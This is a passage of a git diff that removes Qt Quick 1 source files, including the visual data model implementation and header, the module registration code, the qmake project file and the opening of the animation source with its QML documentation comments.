QDeclarativeContext(ccontext); - QDeclarative1VisualDataModelData *data = new QDeclarative1VisualDataModelData(index, this); - if ((!d->m_listModelInterface || !d->m_abstractItemModel) && d->m_listAccessor - && d->m_listAccessor->type() == QDeclarative1ListAccessor::ListProperty) { - ctxt->setContextObject(d->m_listAccessor->at(index).value()); - ctxt = new QDeclarativeContext(ctxt, ctxt); - } - ctxt->setContextProperty(QLatin1String("model"), data); - ctxt->setContextObject(data); - d->m_completePending = false; - nobj = d->m_delegate->beginCreate(ctxt); - if (complete) { - d->m_delegate->completeCreate(); - } else { - d->m_completePending = true; - needComplete = true; - } - if (nobj) { - QDeclarative_setParent_noEvent(ctxt, nobj); - QDeclarative_setParent_noEvent(data, nobj); - d->m_cache.insertItem(index, nobj); - if (QDeclarative1Package *package = qobject_cast(nobj)) - emit createdPackage(index, package); - } else { - delete data; - delete ctxt; - qmlInfo(this, d->m_delegate->errors()) << "Error creating delegate"; - } - } - QDeclarativeItem *item = qobject_cast(nobj); - if (!item) { - QDeclarative1Package *package = qobject_cast(nobj); - if (package) { - QObject *o = package->part(QString::fromUtf8(viewId)); - item = qobject_cast(o); - if (item) - d->m_packaged.insertMulti(item, package); - } - } - if (!item) { - if (needComplete) - d->m_delegate->completeCreate(); - d->m_cache.releaseItem(nobj); - if (!d->m_delegateValidated) { - qmlInfo(d->m_delegate) << QDeclarative1VisualDataModel::tr("Delegate component must be Item type."); - d->m_delegateValidated = true; - } - } - if (d->modelCount()-1 == index && d->m_abstractItemModel && d->m_abstractItemModel->canFetchMore(d->m_root)) - d->m_abstractItemModel->fetchMore(d->m_root); - - return item; -} - -bool QDeclarative1VisualDataModel::completePending() const -{ - Q_D(const QDeclarative1VisualDataModel); - if (d->m_visualItemModel) - return d->m_visualItemModel->completePending(); - return d->m_completePending; -} - -void QDeclarative1VisualDataModel::completeItem() -{ - Q_D(QDeclarative1VisualDataModel); - if (d->m_visualItemModel) { - d->m_visualItemModel->completeItem(); - return; - } - - d->m_delegate->completeCreate(); - d->m_completePending = false; -} - -QString QDeclarative1VisualDataModel::stringValue(int index, const QString &name) -{ - Q_D(QDeclarative1VisualDataModel); - if (d->m_visualItemModel) - return d->m_visualItemModel->stringValue(index, name); - - if ((!d->m_listModelInterface || !d->m_abstractItemModel) && d->m_listAccessor) { - if (QObject *object = d->m_listAccessor->at(index).value()) - return object->property(name.toUtf8()).toString(); - } - - if ((!d->m_listModelInterface && !d->m_abstractItemModel) || !d->m_delegate) - return QString(); - - QString val; - QObject *data = 0; - bool tempData = false; - - if (QObject *nobj = d->m_cache.item(index)) - data = d->data(nobj); - if (!data) { - data = new QDeclarative1VisualDataModelData(index, this); - tempData = true; - } - - QDeclarativeData *ddata = QDeclarativeData::get(data); - if (ddata && ddata->propertyCache) { - QDeclarativePropertyData *prop = ddata->propertyCache->property(name); - if (prop) { - if (prop->propType == QVariant::String) { - void *args[] = { &val, 0 }; - QMetaObject::metacall(data, QMetaObject::ReadProperty, prop->coreIndex, args); - } else if (prop->propType == qMetaTypeId()) { - QVariant v; - void *args[] = { &v, 0 }; - QMetaObject::metacall(data, QMetaObject::ReadProperty, prop->coreIndex, args); - val = v.toString(); - } - } else { - val = data->property(name.toUtf8()).toString(); - } - } else { - val = data->property(name.toUtf8()).toString(); - } - - if (tempData) - delete data; - - return val; -} - -int QDeclarative1VisualDataModel::indexOf(QDeclarativeItem *item, QObject *) const -{ - QVariant val = QDeclarativeEngine::contextForObject(item)->contextProperty(QLatin1String("index")); - return val.toInt(); - return -1; -} - -void QDeclarative1VisualDataModel::setWatchedRoles(QList roles) -{ - Q_D(QDeclarative1VisualDataModel); - d->watchedRoles = roles; - d->watchedRoleIds.clear(); -} - -void QDeclarative1VisualDataModel::_q_itemsChanged(int index, int count, - const QList &roles) -{ - Q_D(QDeclarative1VisualDataModel); - bool changed = false; - if (!d->watchedRoles.isEmpty() && d->watchedRoleIds.isEmpty()) { - foreach (QByteArray r, d->watchedRoles) { - if (d->m_roleNames.contains(r)) - d->watchedRoleIds << d->m_roleNames.value(r); - } - } - - for (QHash::ConstIterator iter = d->m_cache.begin(); - iter != d->m_cache.end(); ++iter) { - const int idx = iter.key(); - - if (idx >= index && idx < index+count) { - QDeclarative1VisualDataModelPrivate::ObjectRef objRef = *iter; - QDeclarative1VisualDataModelData *data = d->data(objRef.obj); - for (int roleIdx = 0; roleIdx < roles.count(); ++roleIdx) { - int role = roles.at(roleIdx); - if (!changed && !d->watchedRoleIds.isEmpty() && d->watchedRoleIds.contains(role)) - changed = true; - int propId = data->propForRole(role); - if (propId != -1) { - if (data->hasValue(propId)) { - if (d->m_listModelInterface) { - data->setValue(propId, d->m_listModelInterface->data(idx, role)); - } else if (d->m_abstractItemModel) { - QModelIndex index = d->m_abstractItemModel->index(idx, 0, d->m_root); - data->setValue(propId, d->m_abstractItemModel->data(index, role)); - } - } - } else { - QString roleName; - if (d->m_listModelInterface) - roleName = d->m_listModelInterface->toString(role); - else if (d->m_abstractItemModel) - roleName = QString::fromUtf8(d->m_abstractItemModel->roleNames().value(role)); - qmlInfo(this) << "Changing role not present in item: " << roleName; - } - } - if (d->m_roles.count() == 1) { - // Handle the modelData role we add if there is just one role. - int propId = data->modelDataPropertyId(); - if (data->hasValue(propId)) { - int role = d->m_roles.at(0); - if (d->m_listModelInterface) { - data->setValue(propId, d->m_listModelInterface->data(idx, role)); - } else if (d->m_abstractItemModel) { - QModelIndex index = d->m_abstractItemModel->index(idx, 0, d->m_root); - data->setValue(propId, d->m_abstractItemModel->data(index, role)); - } - } - } - } - } - if (changed) - emit itemsChanged(index, count); -} - -void QDeclarative1VisualDataModel::_q_itemsInserted(int index, int count) -{ - Q_D(QDeclarative1VisualDataModel); - if (!count) - return; - // XXX - highly inefficient - QHash items; - for (QHash::Iterator iter = d->m_cache.begin(); - iter != d->m_cache.end(); ) { - - if (iter.key() >= index) { - QDeclarative1VisualDataModelPrivate::ObjectRef objRef = *iter; - int index = iter.key() + count; - iter = d->m_cache.erase(iter); - - items.insert(index, objRef); - - QDeclarative1VisualDataModelData *data = d->data(objRef.obj); - data->setIndex(index); - } else { - ++iter; - } - } - d->m_cache.unite(items); - - emit itemsInserted(index, count); - emit countChanged(); -} - -void QDeclarative1VisualDataModel::_q_itemsRemoved(int index, int count) -{ - Q_D(QDeclarative1VisualDataModel); - if (!count) - return; - // XXX - highly inefficient - QHash items; - for (QHash::Iterator iter = d->m_cache.begin(); - iter != d->m_cache.end(); ) { - if (iter.key() >= index && iter.key() < index + count) { - QDeclarative1VisualDataModelPrivate::ObjectRef objRef = *iter; - iter = d->m_cache.erase(iter); - items.insertMulti(-1, objRef); //XXX perhaps better to maintain separately - QDeclarative1VisualDataModelData *data = d->data(objRef.obj); - data->setIndex(-1); - } else if (iter.key() >= index + count) { - QDeclarative1VisualDataModelPrivate::ObjectRef objRef = *iter; - int index = iter.key() - count; - iter = d->m_cache.erase(iter); - items.insert(index, objRef); - QDeclarative1VisualDataModelData *data = d->data(objRef.obj); - data->setIndex(index); - } else { - ++iter; - } - } - - d->m_cache.unite(items); - emit itemsRemoved(index, count); - emit countChanged(); -} - -void QDeclarative1VisualDataModel::_q_itemsMoved(int from, int to, int count) -{ - Q_D(QDeclarative1VisualDataModel); - // XXX - highly inefficient - QHash items; - for (QHash::Iterator iter = d->m_cache.begin(); - iter != d->m_cache.end(); ) { - - if (iter.key() >= from && iter.key() < from + count) { - QDeclarative1VisualDataModelPrivate::ObjectRef objRef = *iter; - int index = iter.key() - from + to; - iter = d->m_cache.erase(iter); - - items.insert(index, objRef); - - QDeclarative1VisualDataModelData *data = d->data(objRef.obj); - data->setIndex(index); - } else { - ++iter; - } - } - for (QHash::Iterator iter = d->m_cache.begin(); - iter != d->m_cache.end(); ) { - - int diff = from > to ? count : -count; - if (iter.key() >= qMin(from,to) && iter.key() < qMax(from+count,to+count)) { - QDeclarative1VisualDataModelPrivate::ObjectRef objRef = *iter; - int index = iter.key() + diff; - iter = d->m_cache.erase(iter); - - items.insert(index, objRef); - - QDeclarative1VisualDataModelData *data = d->data(objRef.obj); - data->setIndex(index); - } else { - ++iter; - } - } - d->m_cache.unite(items); - - emit itemsMoved(from, to, count); -} - -void QDeclarative1VisualDataModel::_q_rowsInserted(const QModelIndex &parent, int begin, int end) -{ - Q_D(QDeclarative1VisualDataModel); - if (parent == d->m_root) - _q_itemsInserted(begin, end - begin + 1); -} - -void QDeclarative1VisualDataModel::_q_rowsRemoved(const QModelIndex &parent, int begin, int end) -{ - Q_D(QDeclarative1VisualDataModel); - if (parent == d->m_root) - _q_itemsRemoved(begin, end - begin + 1); -} - -void QDeclarative1VisualDataModel::_q_rowsMoved(const QModelIndex &sourceParent, int sourceStart, int sourceEnd, const QModelIndex &destinationParent, int destinationRow) -{ - Q_D(QDeclarative1VisualDataModel); - const int count = sourceEnd - sourceStart + 1; - if (destinationParent == d->m_root && sourceParent == d->m_root) { - _q_itemsMoved(sourceStart, sourceStart > destinationRow ? destinationRow : destinationRow-count, count); - } else if (sourceParent == d->m_root) { - _q_itemsRemoved(sourceStart, count); - } else if (destinationParent == d->m_root) { - _q_itemsInserted(destinationRow, count); - } -} - -void QDeclarative1VisualDataModel::_q_dataChanged(const QModelIndex &begin, const QModelIndex &end) -{ - Q_D(QDeclarative1VisualDataModel); - if (begin.parent() == d->m_root) - _q_itemsChanged(begin.row(), end.row() - begin.row() + 1, d->m_roles); -} - -void QDeclarative1VisualDataModel::_q_layoutChanged() -{ - Q_D(QDeclarative1VisualDataModel); - _q_itemsChanged(0, count(), d->m_roles); -} - -void QDeclarative1VisualDataModel::_q_modelReset() -{ - Q_D(QDeclarative1VisualDataModel); - d->m_root = QModelIndex(); - emit modelReset(); - emit rootIndexChanged(); - if (d->m_abstractItemModel && d->m_abstractItemModel->canFetchMore(d->m_root)) - d->m_abstractItemModel->fetchMore(d->m_root); -} - -void QDeclarative1VisualDataModel::_q_createdPackage(int index, QDeclarative1Package *package) -{ - Q_D(QDeclarative1VisualDataModel); - emit createdItem(index, qobject_cast(package->part(d->m_part))); -} - -void QDeclarative1VisualDataModel::_q_destroyingPackage(QDeclarative1Package *package) -{ - Q_D(QDeclarative1VisualDataModel); - emit destroyingItem(qobject_cast(package->part(d->m_part))); -} - - - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QListModelInterface) - -#include diff --git a/src/qtquick1/graphicsitems/qdeclarativevisualitemmodel_p.h b/src/qtquick1/graphicsitems/qdeclarativevisualitemmodel_p.h deleted file mode 100644 index b24f238d5e..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativevisualitemmodel_p.h +++ /dev/null @@ -1,256 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEVISUALDATAMODEL_H -#define QDECLARATIVEVISUALDATAMODEL_H - -#include - -#include -#include - -QT_BEGIN_HEADER - -Q_DECLARE_METATYPE(QModelIndex) - -QT_BEGIN_NAMESPACE - - -class QDeclarativeComponent; -class QDeclarativeItem; -class QDeclarative1Package; -class QDeclarative1VisualDataModelPrivate; - -class Q_AUTOTEST_EXPORT QDeclarative1VisualModel : public QObject -{ - Q_OBJECT - - Q_PROPERTY(int count READ count NOTIFY countChanged) - -public: - virtual ~QDeclarative1VisualModel() {} - - enum ReleaseFlag { Referenced = 0x01, Destroyed = 0x02 }; - Q_DECLARE_FLAGS(ReleaseFlags, ReleaseFlag) - - virtual int count() const = 0; - virtual bool isValid() const = 0; - virtual QDeclarativeItem *item(int index, bool complete=true) = 0; - virtual ReleaseFlags release(QDeclarativeItem *item) = 0; - virtual bool completePending() const = 0; - virtual void completeItem() = 0; - virtual QString stringValue(int, const QString &) = 0; - virtual void setWatchedRoles(QList roles) = 0; - - virtual int indexOf(QDeclarativeItem *item, QObject *objectContext) const = 0; - -Q_SIGNALS: - void countChanged(); - void itemsInserted(int index, int count); - void itemsRemoved(int index, int count); - void itemsMoved(int from, int to, int count); - void itemsChanged(int index, int count); - void modelReset(); - void createdItem(int index, QDeclarativeItem *item); - void destroyingItem(QDeclarativeItem *item); - -protected: - QDeclarative1VisualModel(QObjectPrivate &dd, QObject *parent = 0) - : QObject(dd, parent) {} - -private: - Q_DISABLE_COPY(QDeclarative1VisualModel) -}; - -class QDeclarative1VisualItemModelAttached; -class QDeclarative1VisualItemModelPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1VisualItemModel : public QDeclarative1VisualModel -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1VisualItemModel) - - Q_PROPERTY(QDeclarativeListProperty children READ children NOTIFY childrenChanged DESIGNABLE false) - Q_CLASSINFO("DefaultProperty", "children") - -public: - QDeclarative1VisualItemModel(QObject *parent=0); - virtual ~QDeclarative1VisualItemModel() {} - - virtual int count() const; - virtual bool isValid() const; - virtual QDeclarativeItem *item(int index, bool complete=true); - virtual ReleaseFlags release(QDeclarativeItem *item); - virtual bool completePending() const; - virtual void completeItem(); - virtual QString stringValue(int index, const QString &role); - virtual void setWatchedRoles(QList) {} - - virtual int indexOf(QDeclarativeItem *item, QObject *objectContext) const; - - QDeclarativeListProperty children(); - - static QDeclarative1VisualItemModelAttached *qmlAttachedProperties(QObject *obj); - -Q_SIGNALS: - void childrenChanged(); - -private: - Q_DISABLE_COPY(QDeclarative1VisualItemModel) -}; - - -class Q_AUTOTEST_EXPORT QDeclarative1VisualDataModel : public QDeclarative1VisualModel -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1VisualDataModel) - - Q_PROPERTY(QVariant model READ model WRITE setModel) - Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate) - Q_PROPERTY(QString part READ part WRITE setPart) - Q_PROPERTY(QObject *parts READ parts CONSTANT) - Q_PROPERTY(QVariant rootIndex READ rootIndex WRITE setRootIndex NOTIFY rootIndexChanged) - Q_CLASSINFO("DefaultProperty", "delegate") -public: - QDeclarative1VisualDataModel(); - QDeclarative1VisualDataModel(QDeclarativeContext *, QObject *parent=0); - virtual ~QDeclarative1VisualDataModel(); - - QVariant model() const; - void setModel(const QVariant &); - - QDeclarativeComponent *delegate() const; - void setDelegate(QDeclarativeComponent *); - - QVariant rootIndex() const; - void setRootIndex(const QVariant &root); - - Q_INVOKABLE QVariant modelIndex(int idx) const; - Q_INVOKABLE QVariant parentModelIndex() const; - - QString part() const; - void setPart(const QString &); - - int count() const; - bool isValid() const { return delegate() != 0; } - QDeclarativeItem *item(int index, bool complete=true); - QDeclarativeItem *item(int index, const QByteArray &, bool complete=true); - ReleaseFlags release(QDeclarativeItem *item); - bool completePending() const; - void completeItem(); - virtual QString stringValue(int index, const QString &role); - virtual void setWatchedRoles(QList roles); - - int indexOf(QDeclarativeItem *item, QObject *objectContext) const; - - QObject *parts(); - -Q_SIGNALS: - void createdPackage(int index, QDeclarative1Package *package); - void destroyingPackage(QDeclarative1Package *package); - void rootIndexChanged(); - -private Q_SLOTS: - void _q_itemsChanged(int, int, const QList &); - void _q_itemsInserted(int index, int count); - void _q_itemsRemoved(int index, int count); - void _q_itemsMoved(int from, int to, int count); - void _q_rowsInserted(const QModelIndex &,int,int); - void _q_rowsRemoved(const QModelIndex &,int,int); - void _q_rowsMoved(const QModelIndex &, int, int, const QModelIndex &, int); - void _q_dataChanged(const QModelIndex&,const QModelIndex&); - void _q_layoutChanged(); - void _q_modelReset(); - void _q_createdPackage(int index, QDeclarative1Package *package); - void _q_destroyingPackage(QDeclarative1Package *package); - -private: - Q_DISABLE_COPY(QDeclarative1VisualDataModel) -}; - -class QDeclarative1VisualItemModelAttached : public QObject -{ - Q_OBJECT - -public: - QDeclarative1VisualItemModelAttached(QObject *parent) - : QObject(parent), m_index(0) {} - ~QDeclarative1VisualItemModelAttached() { - attachedProperties.remove(parent()); - } - - Q_PROPERTY(int index READ index NOTIFY indexChanged) - int index() const { return m_index; } - void setIndex(int idx) { - if (m_index != idx) { - m_index = idx; - emit indexChanged(); - } - } - - static QDeclarative1VisualItemModelAttached *properties(QObject *obj) { - QDeclarative1VisualItemModelAttached *rv = attachedProperties.value(obj); - if (!rv) { - rv = new QDeclarative1VisualItemModelAttached(obj); - attachedProperties.insert(obj, rv); - } - return rv; - } - -Q_SIGNALS: - void indexChanged(); - -public: - int m_index; - - static QHash attachedProperties; -}; - - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1VisualModel) -QML_DECLARE_TYPE(QDeclarative1VisualItemModel) -QML_DECLARE_TYPEINFO(QDeclarative1VisualItemModel, QML_HAS_ATTACHED_PROPERTIES) -QML_DECLARE_TYPE(QDeclarative1VisualDataModel) - -QT_END_HEADER - -#endif // QDECLARATIVEVISUALDATAMODEL_H diff --git a/src/qtquick1/qtquick1.cpp b/src/qtquick1/qtquick1.cpp deleted file mode 100644 index 8832369b18..0000000000 --- a/src/qtquick1/qtquick1.cpp +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include "qtquick1_p.h" - -QT_BEGIN_NAMESPACE - -void QDeclarativeQtQuick1Module::defineModule(QDeclarativeQtQuick1Module::Module module) -{ - if (module == QtQuick1) - qmlRegisterBaseTypes("QtQuick", 1, 0); - else if (module == Qt47) - qmlRegisterBaseTypes("Qt", 4, 7); - QDeclarative1UtilModule::defineModule(module); - QDeclarative1ItemModule::defineModule(module); -} - -QT_END_NAMESPACE - diff --git a/src/qtquick1/qtquick1.pro b/src/qtquick1/qtquick1.pro deleted file mode 100644 index 529e3a0ae3..0000000000 --- a/src/qtquick1/qtquick1.pro +++ /dev/null @@ -1,44 +0,0 @@ -load(qt_module) - -TARGET = QtQuick1 -QPRO_PWD = $$PWD - -CONFIG += module -CONFIG += dll warn_on -MODULE_PRI += ../../modules/qt_qtquick1.pri - -QT += testlib-private declarative testlib declarative-private core-private gui-private network widgets-private v8-private -DEFINES += QT_BUILD_QTQUICK1_LIB QT_NO_URL_CAST_FROM_STRING - -load(qt_module_config) - -# Install qtquick1.prf into the Qt mkspecs so that "CONFIG += qtquick1" -# can be used in customer applications to build against QtQuick 1. -feature.path = $$[QT_INSTALL_DATA]/mkspecs/features -feature.files = $$PWD/features/qtquick1.prf -INSTALLS += feature - -win32-msvc*:DEFINES *= _CRT_SECURE_NO_WARNINGS - -#INCLUDEPATH += $$PWD/QtQuick1 -#INCLUDEPATH += $$PWD - -include(util/util.pri) -include(graphicsitems/graphicsitems.pri) - -HEADERS += qtquick1_p.h -SOURCES += qtquick1.cpp - -mac { - # FIXME: this is a workaround for broken qmake logic in qtAddModule() - # This function refuses to use frameworks unless the framework exists on - # the filesystem at the time qmake is run, resulting in a build failure - # if QtQuick1 is qmaked before QtDeclarative is built and frameworks are - # in use. qtAddLibrary() contains correct logic to deal with this, so - # we'll explicitly call that for now. - load(qt) - LIBS -= -lQtDeclarative # in non-framework builds, these should be re-added - LIBS -= -lQtDeclarative_debug # within the qtAddLibrary if appropriate, so no - qtAddLibrary(QtDeclarative) # harm done :) -} - diff --git a/src/qtquick1/qtquick1_p.h b/src/qtquick1/qtquick1_p.h deleted file mode 100644 index 87d022f3c8..0000000000 --- a/src/qtquick1/qtquick1_p.h +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QTQUICK1_H -#define QTQUICK1_H - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class Q_QTQUICK1_EXPORT QDeclarativeQtQuick1Module -{ -public: - enum Module { QtQuick1, Qt47 }; - static void defineModule(Module module); -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QTQUICK1_H diff --git a/src/qtquick1/util/qdeclarativeanimation.cpp b/src/qtquick1/util/qdeclarativeanimation.cpp deleted file mode 100644 index 46ac6be94c..0000000000 --- a/src/qtquick1/util/qdeclarativeanimation.cpp +++ /dev/null @@ -1,2969 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeanimation_p.h" -#include "QtQuick1/private/qdeclarativeanimation_p_p.h" - -#include "QtQuick1/private/qdeclarativebehavior_p.h" -#include "QtQuick1/private/qdeclarativestateoperations_p.h" -#include "QtDeclarative/private/qdeclarativecontext_p.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass Animation QDeclarative1AbstractAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \brief The Animation element is the base of all QML animations. - - The Animation element cannot be used directly in a QML file. It exists - to provide a set of common properties and methods, available across all the - other animation types that inherit from it. Attempting to use the Animation - element directly will result in an error. -*/ - -QDeclarative1AbstractAnimation::QDeclarative1AbstractAnimation(QObject *parent) -: QObject(*(new QDeclarative1AbstractAnimationPrivate), parent) -{ -} - -QDeclarative1AbstractAnimation::~QDeclarative1AbstractAnimation() -{ -} - -QDeclarative1AbstractAnimation::QDeclarative1AbstractAnimation(QDeclarative1AbstractAnimationPrivate &dd, QObject *parent) -: QObject(dd, parent) -{ -} - -/*! - \qmlproperty bool QtQuick1::Animation::running - This property holds whether the animation is currently running. - - The \c running property can be set to declaratively control whether or not - an animation is running. The following example will animate a rectangle - whenever the \l MouseArea is pressed. - - \code - Rectangle { - width: 100; height: 100 - NumberAnimation on x { - running: myMouse.pressed - from: 0; to: 100 - } - MouseArea { id: myMouse } - } - \endcode - - Likewise, the \c running property can be read to determine if the animation - is running. In the following example the text element will indicate whether - or not the animation is running. - - \code - NumberAnimation { id: myAnimation } - Text { text: myAnimation.running ? "Animation is running" : "Animation is not running" } - \endcode - - Animations can also be started and stopped imperatively from JavaScript - using the \c start() and \c stop() methods. - - By default, animations are not running. Though, when the animations are assigned to properties, - as property value sources using the \e on syntax, they are set to running by default. -*/ -bool QDeclarative1AbstractAnimation::isRunning() const -{ - Q_D(const QDeclarative1AbstractAnimation); - return d->running; -} - -// the behavior calls this function -void QDeclarative1AbstractAnimation::notifyRunningChanged(bool running) -{ - Q_D(QDeclarative1AbstractAnimation); - if (d->disableUserControl && d->running != running) { - d->running = running; - emit runningChanged(running); - } -} - -//commence is called to start an animation when it is used as a -//simple animation, and not as part of a transition -void QDeclarative1AbstractAnimationPrivate::commence() -{ - Q_Q(QDeclarative1AbstractAnimation); - - QDeclarative1StateActions actions; - QDeclarativeProperties properties; - q->transition(actions, properties, QDeclarative1AbstractAnimation::Forward); - - q->qtAnimation()->start(); - if (q->qtAnimation()->state() == QAbstractAnimation::Stopped) { - running = false; - emit q->completed(); - } -} - -QDeclarativeProperty QDeclarative1AbstractAnimationPrivate::createProperty(QObject *obj, const QString &str, QObject *infoObj) -{ - QDeclarativeProperty prop(obj, str, qmlContext(infoObj)); - if (!prop.isValid()) { - qmlInfo(infoObj) << QDeclarative1AbstractAnimation::tr("Cannot animate non-existent property \"%1\"").arg(str); - return QDeclarativeProperty(); - } else if (!prop.isWritable()) { - qmlInfo(infoObj) << QDeclarative1AbstractAnimation::tr("Cannot animate read-only property \"%1\"").arg(str); - return QDeclarativeProperty(); - } - return prop; -} - -void QDeclarative1AbstractAnimation::setRunning(bool r) -{ - Q_D(QDeclarative1AbstractAnimation); - if (!d->componentComplete) { - d->running = r; - if (r == false) - d->avoidPropertyValueSourceStart = true; - else if (!d->registered) { - d->registered = true; - QDeclarativeEnginePrivate *engPriv = QDeclarativeEnginePrivate::get(qmlEngine(this)); - engPriv->registerFinalizeCallback(this, this->metaObject()->indexOfSlot("componentFinalized()")); - } - return; - } - - if (d->running == r) - return; - - if (d->group || d->disableUserControl) { - qmlInfo(this) << "setRunning() cannot be used on non-root animation nodes."; - return; - } - - d->running = r; - if (d->running) { - bool supressStart = false; - if (d->alwaysRunToEnd && d->loopCount != 1 - && qtAnimation()->state() == QAbstractAnimation::Running) { - //we've restarted before the final loop finished; restore proper loop count - if (d->loopCount == -1) - qtAnimation()->setLoopCount(d->loopCount); - else - qtAnimation()->setLoopCount(qtAnimation()->currentLoop() + d->loopCount); - supressStart = true; //we want the animation to continue, rather than restart - } - - if (!d->connectedTimeLine) { - QObject::connect(qtAnimation(), SIGNAL(finished()), - this, SLOT(timelineComplete())); - d->connectedTimeLine = true; - } - if (!supressStart) - d->commence(); - emit started(); - } else { - if (d->alwaysRunToEnd) { - if (d->loopCount != 1) - qtAnimation()->setLoopCount(qtAnimation()->currentLoop()+1); //finish the current loop - } else - qtAnimation()->stop(); - - emit completed(); - } - - emit runningChanged(d->running); -} - -/*! - \qmlproperty bool QtQuick1::Animation::paused - This property holds whether the animation is currently paused. - - The \c paused property can be set to declaratively control whether or not - an animation is paused. - - Animations can also be paused and resumed imperatively from JavaScript - using the \c pause() and \c resume() methods. - - By default, animations are not paused. -*/ -bool QDeclarative1AbstractAnimation::isPaused() const -{ - Q_D(const QDeclarative1AbstractAnimation); - return d->paused; -} - -void QDeclarative1AbstractAnimation::setPaused(bool p) -{ - Q_D(QDeclarative1AbstractAnimation); - if (d->paused == p) - return; - - if (d->group || d->disableUserControl) { - qmlInfo(this) << 